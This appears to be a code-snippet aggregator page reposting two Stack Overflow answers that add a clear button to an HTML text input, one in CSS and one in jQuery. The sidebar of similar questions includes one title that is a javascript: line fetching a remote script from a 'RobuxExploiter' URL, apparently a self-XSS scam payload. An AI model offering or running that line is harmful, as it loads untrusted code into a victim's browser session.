Add clear button to text input

<input type="search" placeholder="Search..."/>

<style>
  input[type=search]::-webkit-search-cancel-button {
    -webkit-appearance: searchfield-cancel-button;
  }

  input[type=search] {
      -webkit-appearance: none;
  }
</style>

Source: stackoverflow.com

Add clear button to text input

<!DOCTYPE html>
<html lang="en">
    <head>
        <title>SO question 2803532</title>
        <script src="http://code.jquery.com/jquery-latest.min.js"></script>
        <script>
            $(document).ready(function() {
                $('input.deletable').wrap('<span class="deleteicon" />').after($('<span/>').click(function() {
                    $(this).prev('input').val('').trigger('change').focus();
                }));
            });
        </script>
        <style>
            span.deleteicon {
                position: relative;
            }
            span.deleteicon span {
                position: absolute;
                display: block;
                top: 5px;
                right: 0px;
                width: 16px;
                height: 16px;
                background: url('http://cdn.sstatic.net/stackoverflow/img/sprites.png?v=4') 0 -690px;
                cursor: pointer;
            }
            span.deleteicon input {
                padding-right: 16px;
                box-sizing: border-box;
            }
        </style>
    </head>
    <body>
        <input type="text" class="deletable">
    </body>
</html>

Source: stackoverflow.com

Similar codes

4 votes182 views1 answer
How to read a form from HTML in javascript
Html
0 vote174 views1 answer
Same form two submits
Html
0 vote179 views1 answer
Ordered list html mdn
Html
0 vote183 views1 answer
Como crear una app con visual studio code
Html
3 votes178 views3 answers
How to justify text in html
Html
0 vote195 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Html
1 vote159 views1 answer
Disable spell check html
Html
1 vote226 views1 answer
Audio element not visible
Html
-1 vote173 views1 answer
How to change font html
Html
4 votes180 views1 answer
Html input autofocus
Html